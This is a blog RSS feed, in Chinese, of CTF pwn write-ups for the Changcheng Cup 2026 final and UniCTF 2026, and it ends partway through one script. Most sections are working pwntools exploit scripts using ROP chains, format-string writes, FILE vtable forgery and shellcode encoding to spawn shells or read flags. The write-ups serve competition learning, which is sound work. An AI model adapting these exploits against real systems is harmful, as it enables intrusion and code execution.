<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>ItsFlicker 的小窝</title><description>No description</description><link>https://blog.mcitd.cn/</link><language>zh_CN</language><item><title>第三届长城杯CCB总决赛 Pwn HeroEditor复现WP</title><link>https://blog.mcitd.cn/posts/ccb-final-2026/wp/</link><guid isPermaLink="true">https://blog.mcitd.cn/posts/ccb-final-2026/wp/</guid><pubDate>Sat, 02 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;第一次打长城杯决赛，喜提参与奖&lt;/p&gt;
&lt;p&gt;感觉今年的题比去年的难……Pwn总共有7题，有4个全场零解&lt;/p&gt;
&lt;p&gt;（为什么Pwn占比这么大？？）&lt;/p&gt;
&lt;h1&gt;HeroEditor (4解)&lt;/h1&gt;
&lt;h2&gt;strtod&lt;/h2&gt;
&lt;p&gt;开幕雷击，搞半天不知道怎么得到想要的数字&lt;/p&gt;
&lt;p&gt;检查0: 输入字符串不能含有&lt;code&gt;x&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;把输入字符串用&lt;code&gt;strtod&lt;/code&gt;转换为&lt;code&gt;double&lt;/code&gt;，再用&lt;code&gt;sprintf %ld&lt;/code&gt;得到新字符串&lt;/p&gt;
&lt;p&gt;检查1: 输入字符串和新字符串不能含有相同字符&lt;/p&gt;
&lt;p&gt;检查2: 输入字符串不能是普通的十六进制整数&lt;/p&gt;
&lt;p&gt;这里需要知道&lt;code&gt;strtod&lt;/code&gt;的特殊用法&lt;/p&gt;
&lt;h3&gt;特殊值&lt;/h3&gt;
&lt;p&gt;非数：&lt;code&gt;NaN&lt;/code&gt;, &lt;code&gt;NaN(1234)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;无穷大：&lt;code&gt;Inf&lt;/code&gt;, &lt;code&gt;Infinity&lt;/code&gt; （大小写不敏感）&lt;/p&gt;
&lt;h3&gt;十进制浮点数&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;[whitespace] [+-] &amp;lt;digits&amp;gt; [. &amp;lt;digits&amp;gt;] [e/E [+-] &amp;lt;digits&amp;gt;]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;例如&lt;code&gt;-123.456e-2&lt;/code&gt; -&amp;gt; &lt;code&gt;-1.234560&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;十六进制浮点数&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;0[xX] hex-digits [. hex-digits] [p[+-] decimal-exponent]&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;以 0x 或 0X 开头（大小写均可）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接着是一串十六进制数字（0-9 和 a-f / A-F），代表有效数字部分。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可选的小数点 . 可放在有效数字的任何位置。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后必须跟一个二进制指数部分：p 或 P，后面是一个十进制整数（可带正负号），表示 乘以 2 的多少次幂。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：指数是以 2 为底，而不是 10。这与十进制浮点常量 (e/E) 完全不同。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;strtod&lt;/code&gt; 会按以下方式计算十六进制浮点数的数值：&lt;/p&gt;
&lt;p&gt;将有效数字（忽略前缀 0x/0X 和 p/P）解析为一个十六进制整数或分数。
例如 0x4 就是 4；0x1.8 是 1 + 8/16 = 1.5；0xA.4 是 10 + 4/16 = 10.25。&lt;/p&gt;
&lt;p&gt;这个有理数再乘以 2^exponent，得到最终的 double 值。
例如 0x4p5 = 4 × 2^5 = 4 × 32 = 128。
0x1.8p3 = 1.5 × 2^3 = 1.5 × 8 = 12.0。&lt;/p&gt;
&lt;p&gt;该格式可以精确表示任何二进制浮点数，而且没有十进制浮点常量的舍入误差，常用于需要精准位表示的场合。&lt;/p&gt;
&lt;h2&gt;泄露&lt;/h2&gt;
&lt;p&gt;0X0.5p2 -&amp;gt; 1&lt;/p&gt;
&lt;p&gt;0X1.7p5 -&amp;gt; 46&lt;/p&gt;
&lt;p&gt;0X1.Dp7 -&amp;gt; 0xE8&lt;/p&gt;
&lt;p&gt;0X4p5 -&amp;gt; 0x80&lt;/p&gt;
&lt;p&gt;免费送的栈溢出写(0XE8)和读(0x30)，然而过滤了任何libc地址和栈地址，只能泄露PIE和Canary（当最高字节和次最高字节都为零，且第三高字节大于 0x6F 时过滤）&lt;/p&gt;
&lt;p&gt;大部分函数结束时有&lt;code&gt;_cyg_profile_func_exit&lt;/code&gt;，检查&lt;code&gt;rsp&lt;/code&gt;还在不在&lt;code&gt;0x7F0000000000&lt;/code&gt;~&lt;code&gt;0x800000000000&lt;/code&gt;，且清空所有无关寄存器（主要是&lt;code&gt;rdi&lt;/code&gt; &lt;code&gt;rsi&lt;/code&gt;），导致无法完整栈迁移，也不能利用残留寄存器值&lt;/p&gt;
&lt;p&gt;（赛场上卡在这了）&lt;/p&gt;
&lt;p&gt;此时应该观察一下其他函数，发现打印菜单函数和功能2函数没有&lt;code&gt;_cyg_profile_func_exit&lt;/code&gt;，而且以&lt;code&gt;pop rbp ; ret&lt;/code&gt;返回&lt;/p&gt;
&lt;p&gt;调试发现调用&lt;code&gt;printf&lt;/code&gt;后，&lt;code&gt;rdi&lt;/code&gt;是一个栈地址且指向另一个栈地址，此时跳到&lt;code&gt;puts&lt;/code&gt;就可以泄露栈地址&lt;/p&gt;
&lt;p&gt;之后伪造&lt;code&gt;sub_142A&lt;/code&gt;的栈帧，从中间进绕过过滤泄露libc基址，构造一下栈迁移，读orw链&lt;/p&gt;
&lt;h2&gt;exp&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./game&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 0
if choice:
    port =   0
    target = &apos;&apos;
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
n2b     = lambda x                  :str(x).encode()

def send_double(content):
    sl(content.ljust(8, b&apos;\x00&apos;))

def menu1():
    ru(b&apos;&amp;gt; &apos;)
    send_double(b&apos;0X0.5p2&apos;)

# debug(&apos;&apos;&apos;
#       brva 0x14A2
#       brva 0x14C8
#       &apos;&apos;&apos;)

# debug(&apos;&apos;&apos;
#       brva 0x204E
#       &apos;&apos;&apos;)

menu1()

ru(b&apos;Draft size: &apos;)
send_double(b&apos;0X0.5p2&apos;) # 1

ru(b&apos;Write your draft:\n&apos;)
s(b&apos;A&apos;)

ru(b&apos;Preview bytes: &apos;)
send_double(b&apos;0X1.7p5&apos;) # 46

ru(b&apos;Archive preview:\n&apos;)
r(8)
r(8)
r(8)
canary = u64(r(8))
leak(&apos;canary&apos;)
r(8)
elf.address = pie = uu64(r(6)) - 0x21bd
leak(&apos;pie&apos;)
bss = elf.bss(0x800)

menu1()
ru(b&apos;Draft size: &apos;)
send_double(b&apos;0X1.Dp7&apos;) # 0xE8
ru(b&apos;Write your draft:\n&apos;)
payload = flat([0, 0, 0, canary, bss, pie + 0x19FB, pie + 0x215E, bss, pie + 0x1F8D])
s(payload.ljust(0xE8, b&apos;\x00&apos;))

ru(b&apos;Preview bytes: &apos;)
send_double(b&apos;0&apos;)

ru(b&apos;&amp;gt; &apos;)
stack = uu64(r(6)) + 0x1d8 + 0x30
leak(&apos;stack&apos;)


ru(b&apos;Draft size: &apos;)
# send_double(b&apos;0X1.Dp7&apos;) # 0xE8
send_double(b&apos;0X4p5&apos;) # 0x80
ru(b&apos;Write your draft:\n&apos;)
payload = flat([0, 0, 0, canary, stack, pie + 0x14AD, 
                0, stack, 0, 0x100, 0, 0,
                stack, pie + 0x1F8E])
s(payload.ljust(0x80, b&apos;A&apos;))

ru(b&apos;Preview bytes: &apos;)
send_double(b&apos;0&apos;)

ru(b&apos;The scribes seal the draft.\n&apos;)
r(0x78)
libc.address = uu64(r(6)) - (libc.sym[&apos;__libc_start_main&apos;] + 139)
leak(&apos;libc.address&apos;)

rdi = libc.address + 0x10f78b
rsi = libc.address + 0x110a7d
rbx = libc.address + 0x0586e4
rdx = libc.address + 0x0b0153  # 0x00000000000b0153 : mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret


ru(b&apos;Draft size: &apos;)
send_double(b&apos;0X1.Dp7&apos;) # 0xE8
ru(b&apos;Write your draft:\n&apos;)
payload = flat([0, 0, 0, canary, stack,
                rsi, stack + 0x60,
                rbx, 0x200,
                rdx, 0, 0, 0, libc.sym[&apos;read&apos;]])
s(payload.ljust(0xE8, b&apos;\x00&apos;))

ru(b&apos;Preview bytes: &apos;)
send_double(b&apos;0&apos;)

pause()

payload = flat([
    rdi, stack + 0x60 + 0x100, rsi, 0, libc.sym[&apos;open&apos;],
    rdi, 3, rsi, stack + 0x60 + 0x200, rbx, 0x50, rdx, 0, 0, 0, libc.sym[&apos;read&apos;],
    rdi, 1, rsi, stack + 0x60 + 0x200, rbx, 0x50, rdx, 0, 0, 0, libc.sym[&apos;write&apos;]
])

s(payload.ljust(0x100, b&apos;\x00&apos;) + b&apos;/flag\x00&apos;)



itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;CreditMarket（11解）&lt;/h1&gt;
&lt;p&gt;glibc 2.43堆题，64字节堆溢出，主要是用到了一些新版本特性&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2.41: &lt;code&gt;calloc&lt;/code&gt;会从&lt;code&gt;tcache&lt;/code&gt;里申请&lt;/li&gt;
&lt;li&gt;2.42: 修复所有的&lt;code&gt;largebin attack&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;2.43: &lt;code&gt;tcache_perthread_struct&lt;/code&gt;初始化推迟到第一次&lt;code&gt;tcache free&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tcache_perthread_struct&lt;/code&gt;的计数器改为&lt;code&gt;tcache&lt;/code&gt;的剩余容量，从16开始减&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;另外改小&lt;code&gt;top chunk&lt;/code&gt;的间接free似乎也有变化，满足&lt;code&gt;smallbin&lt;/code&gt;大小时先进&lt;code&gt;smallbin&lt;/code&gt;而不是&lt;code&gt;tcache&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;详细wp偷懒不写了&lt;/p&gt;
</content:encoded></item><item><title>UniCTF 2026 Pwn 部分题解</title><link>https://blog.mcitd.cn/posts/unictf-2026/wp/</link><guid isPermaLink="true">https://blog.mcitd.cn/posts/unictf-2026/wp/</guid><pubDate>Sat, 31 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;还是太菜了，只能出很多人做出的题&lt;/p&gt;
&lt;p&gt;似乎有一些有趣的非预期&lt;/p&gt;
&lt;h1&gt;EzIO&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;fclose&lt;/code&gt;时会调用&lt;code&gt;_IO_file_finish&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;libc版本为2.23，直接伪造vtable&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./EzIO&apos;
elf = ELF(file)
libc = ELF(&apos;./2.23-0ubuntu11.3_amd64/libc.so.6&apos;)

choice = 1
if choice:
    port =   12205
    target = &apos;nc1.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

debug(&apos;b *0x4011C2&apos;)

addr = 0x404060

fake_io = flat(
    {
        0x0: 0xfbad1800,
        0x10: 0x4011CE,     # _IO_file_finish
        0x88: elf.bss(),    # lock writable addr
        0xD8: addr,         # vtable
    },
    filler=b&quot;\x00&quot;
)

s(fake_io)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Micro?Macro!&lt;/h1&gt;
&lt;p&gt;初始时在&lt;code&gt;rand_slot&lt;/code&gt;放置&lt;code&gt;values&lt;/code&gt;地址，类型为&lt;code&gt;1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;操作一和操作二结合可以创造指定偏移的地址槽&lt;/p&gt;
&lt;p&gt;用操作三任意读，读取&lt;code&gt;got.puts&lt;/code&gt;获得&lt;code&gt;libc&lt;/code&gt;地址&lt;/p&gt;
&lt;p&gt;用操作四任意写，把&lt;code&gt;system&lt;/code&gt;槽位类型改为&lt;code&gt;2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;最后操作五调用&lt;code&gt;system&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./vuln&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   37412
    target = &apos;nc1.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

opcodes = [0x3a,0x7e,0x91,0x52,0xc4,0x1b,0x68,0xaf]

# handler0：`SET_IMM(i, imm64)`
def op0(arg1, arg2):
    sl(f&apos;inst {opcodes[0]} {arg1} {arg2}&apos;.encode())

# handler1：`ADD(dst, a, b)`
# type[a] == 1
def op1(arg1, arg2, arg3):
    sl(f&apos;inst {opcodes[1]} {arg1} {arg2} {arg3}&apos;.encode())

# handler2：`CMOV_ENTRY(dst, x, y)`
def op2(arg1, arg2, arg3):
    sl(f&apos;inst {opcodes[2]} {arg1} {arg2} {arg3}&apos;.encode())

# handler3：`LOAD(dst, ptr_slot)`
def op3(arg1, arg2):
    sl(f&apos;inst {opcodes[3]} {arg1} {arg2}&apos;.encode())

# handler4：`STORE(ptr_slot, val_slot)`
def op4(arg1, arg2):
    sl(f&apos;inst {opcodes[4]} {arg1} {arg2}&apos;.encode())

# handler5：`CALL(func_slot, arg_slot)`
# type[func_slot] == 2
def op5(arg1, arg2):
    sl(f&apos;inst {opcodes[5]} {arg1} {arg2}&apos;.encode())

# handler6：`PRINT(i)`
def op6(arg1):
    sl(f&apos;inst {opcodes[6]} {arg1}&apos;.encode())

ru(b&apos;&amp;gt; &apos;)
sl(b&apos;dbg&apos;)
ru(b&apos;rand_slot = &apos;)
rand_slot = int(rl())
leak(&apos;rand_slot&apos;)

# op6(rand_slot)
op0(0, -0x138)
op1(1, rand_slot, 0)
op3(2, 1) # puts
op0(0, -0x32180)
op1(2, 2, 0) # system
op0(0, 32)
op1(3, rand_slot, 0)
op0(0, 2)
op4(3, 0)
op0(0, 40)
op1(3, 3, 0)
op0(4, u64(b&apos;/bin/sh\x00&apos;))
op5(2, 3)

debug(&apos;brva 0x24CC&apos;)

sl(b&apos;run&apos;)

itr()

# UniCTF{H4nDrn4d3_VM&amp;amp;013fu5cA7ioN_M33tS_H4Ndcr4F73cl_3&amp;gt;&amp;lt;pl01T2005900373570621440}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;speak&lt;/h1&gt;
&lt;p&gt;输入name时溢出，printf泄露libc地址，栈地址，程序地址&lt;/p&gt;
&lt;p&gt;然后把printf自身的返回地址改为&lt;code&gt;add rsp, 0x8; ret&lt;/code&gt;造成重叠，再跳回read，就能写orw的ROP链&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   39977
    target = &apos;nc1.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

debug(&apos;brva 0x01478\nbrva 0x0014AA&apos;)

sa(b&apos;name: &apos;, b&apos;A&apos;*32 + b&apos;%2$p\n%9$p\n%45$p\n&apos;)
libc.address = int(rl(), 16) - (libc.sym[&apos;_IO_2_1_stdout_&apos;] + 131)
leak(&apos;libc.address&apos;)
stack = int(rl(), 16) - 0xd8
leak(&apos;stack&apos;)
pie = int(rl(), 16) - elf.sym[&apos;main&apos;]
leak(&apos;pie&apos;)

s(fmtstr_payload(6, {stack-0x8: pie + 0x001016, stack+0x8: pie + 0x001496}))
r(1)

pop_rdi_ret = libc.address + 0x10f78b
pop_rsi_ret = libc.address + 0x110a7d
pop_rbx_ret = libc.address + 0x0586e4
mov_rdx_rbx_pop_3_ret = libc.address + 0x0b0133

payload = flat(
    b&quot;flag&quot;.ljust(8, b&apos;\x00&apos;),
    pop_rdi_ret,
    stack,
    pop_rsi_ret,
    0,
    libc.sym[&apos;open&apos;],
    pop_rdi_ret,
    3,
    pop_rsi_ret,
    stack,
    pop_rbx_ret,
    0x50,
    mov_rdx_rbx_pop_3_ret,
    0,
    0,
    0,
    libc.sym[&apos;read&apos;],
    pop_rdi_ret,
    1,
    pop_rsi_ret,
    stack,
    pop_rbx_ret,
    0x50,
    mov_rdx_rbx_pop_3_ret,
    0,
    0,
    0,
    libc.sym[&apos;write&apos;]
)
s(payload)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;什么？我不是汇编高手吗？&lt;/h1&gt;
&lt;p&gt;利用程序给的长跳跃指令&lt;code&gt;E9&lt;/code&gt;，&lt;code&gt;E9 01 00 00 00&lt;/code&gt;即为&lt;code&gt;jmp $+6&lt;/code&gt;，跳到下一个&lt;code&gt;E9&lt;/code&gt;后面&lt;/p&gt;
&lt;p&gt;用短跳跃指令&lt;code&gt;EB 01&lt;/code&gt;跳过&lt;code&gt;E9&lt;/code&gt;，这样每次就有两字节的自由操作&lt;/p&gt;
&lt;p&gt;用&lt;code&gt;pop rax; mov al, 0xFB; mov ah, 0x11; push rax; ret&lt;/code&gt;跳转到后门&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./challenge&apos;
elf = ELF(file)
# libc = ELF(&apos;./lib/libc.so.6&apos;)

choice = 1
if choice:
    port =   24701
    target = &apos;nc1.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

debug(&apos;b *0x401399&apos;)

addr = int(rl(), 16)
leak(&apos;addr&apos;)

# e9 01 00 00 00           jmp $+6

payload = b&apos;\x01\x00\x00\x00&apos;
payload += asm(&apos;pop rax\nnop\njmp $+3&apos;)
payload += asm(&apos;mov al, 0xFB\njmp $+3&apos;)
payload += asm(&apos;mov ah, 0x11\njmp $+3&apos;)
payload += asm(&apos;push rax\nret\njmp $+3&apos;)

sl(payload)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Sur prize&lt;/h1&gt;
&lt;p&gt;由于&lt;code&gt;gets&lt;/code&gt;的参数是用&lt;code&gt;rsp&lt;/code&gt;定位，似乎不能简单的栈迁移&lt;/p&gt;
&lt;p&gt;先跳转到&lt;code&gt;wutihave&lt;/code&gt;获得flag文件名称&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gets&lt;/code&gt;结束后&lt;code&gt;rdi&lt;/code&gt;会指向一个神秘结构体，此时再&lt;code&gt;gets&lt;/code&gt;一次就能往这里输入&lt;/p&gt;
&lt;p&gt;但是&lt;code&gt;gets&lt;/code&gt;结束后这个结构体前&lt;code&gt;0x10&lt;/code&gt;会被清零，此时dil=0x20&lt;/p&gt;
&lt;p&gt;这里使用了&lt;code&gt;add dil, dil&lt;/code&gt;让dil=0x40，成功绕过&lt;/p&gt;
&lt;p&gt;指定参数后使用&lt;code&gt;leimicc&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./vuln&apos;
elf = ELF(file)
# libc = ELF(&apos;./lib/libc.so.6&apos;)

choice = 1
if choice:
    port =   21630
    target = &apos;nc1.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

debug(&apos;b *0x401778&apos;)

r(0xfff)
r(0xfff)
r(0xfff)

s(b&apos;\n&apos;)

get_name = False
if get_name:
    sl(p64(0x401653))
    itr()
    exit()

# 0x00000000004011ea : add dil, dil ; loopne 0x401255 ; nop ; ret

sl(p64(elf.plt[&apos;gets&apos;]) + p64(0x4011ea) + p64(0x4016A2))

sl(b&apos;\x00&apos;*0x20 + b&apos;flag_d82b9eb327dea6fc67ef26a7bcaf8147&apos;)

itr()

# UniCTF{♫♫♫nEv3R_G0nN4_q1v3_Y0u_Up♪♪♪N3V3r_G0NnA_L37_g3t$_D0vvn♫♫♫182008523222735130624}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;smcode&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anquanke.com/post/id/256530&quot;&gt;仅用三种字符实现 x86_64 架构的任意 shellcode-安全KER - 安全资讯平台&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;shellcode字节必须为斐波那契数列中的项&lt;/p&gt;
&lt;p&gt;利用这篇文章可以做到&lt;code&gt;0x00``0x01``0x05&lt;/code&gt;实现任意shellcode&lt;/p&gt;
&lt;p&gt;先造一个&lt;code&gt;read&lt;/code&gt;，再读入&lt;code&gt;shellcraft.sh()&lt;/code&gt;，防止生成的shellcode太长&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
# libc = ELF(&apos;./lib/libc.so.6&apos;)

choice = 1
if choice:
    port =   33506
    target = &apos;nc1.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

io = p

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))

current_eax = 0

def next_step(value):
    &quot;&quot;&quot; 每个字节每次加 5、1 或 0 &quot;&quot;&quot;
    n = 0
    for i in range(4):
        if (value &amp;gt;&amp;gt; (i * 8)) &amp;amp; 0xff &amp;gt;= 5:
            n |= (5 &amp;lt;&amp;lt; (i * 8))
        elif (value &amp;gt;&amp;gt; (i * 8)) &amp;amp; 0xff &amp;gt;= 1:
            n |= (1 &amp;lt;&amp;lt; (i * 8))
    return n

def add_eax(value):
    &quot;&quot;&quot; 将 eax 加上指定的值 &quot;&quot;&quot;
    payload = b&apos;&apos;
    while value &amp;gt; 0:
        n = next_step(value)
        payload += b&apos;\x05&apos; + p32(n)
        value -= n
    return payload

def asm_015(shellcode):
    &quot;&quot;&quot; 将 shellcode 转换成 0x00、0x01、0x05 三种字符 &quot;&quot;&quot;
    # 不足 4 字节的目标指令补充 nop 指令
    if len(shellcode) &amp;lt; 4:
        shellcode = shellcode.ljust(4, b&apos;\x90&apos;)
    # 特殊处理超过 4 字节且含有其他字符的目标指令
    if len(shellcode) &amp;gt; 4:
        for c in shellcode[4:]:
            if c not in (0, 1, 5):
                return asm_long_015(shellcode)
    # 当前 eax 距离目标指令的差值
    global current_eax
    eax_offset = u32(shellcode[:4]) - current_eax
    if eax_offset &amp;lt; 0:
        eax_offset += 0x100000000
    # 预留第一步的值，以减少 shellcode 的总体长度
    reserved = next_step(eax_offset)
    eax_offset -= reserved
    # 设置 eax 为目标指令
    payload = add_eax(eax_offset)
    current_eax = (current_eax + eax_offset) &amp;amp; 0xffffffff
    # 将 eax 加到目标指令
    payload += b&apos;\x01\x05\x00\x00\x00\x00&apos;  # add [rip], eax
    # 目标指令预留的值
    payload += p32(reserved)
    # 目标指令超出 4 字节的部分(全是 0x00、0x01、0x05 之一)
    payload += shellcode[4:]
    return payload

def asm_long_015(shellcode):
    &quot;&quot;&quot; 将超长的 shellcode 转换成 0x00、0x01、0x05 三种字符(会破坏 rbp 寄存器) &quot;&quot;&quot;
    # 添加 ret 指令，并补充为 2 的整数倍长度
    shellcode += b&apos;\xC3&apos;
    if len(shellcode) % 2 == 1:
        shellcode += b&apos;\x90&apos;
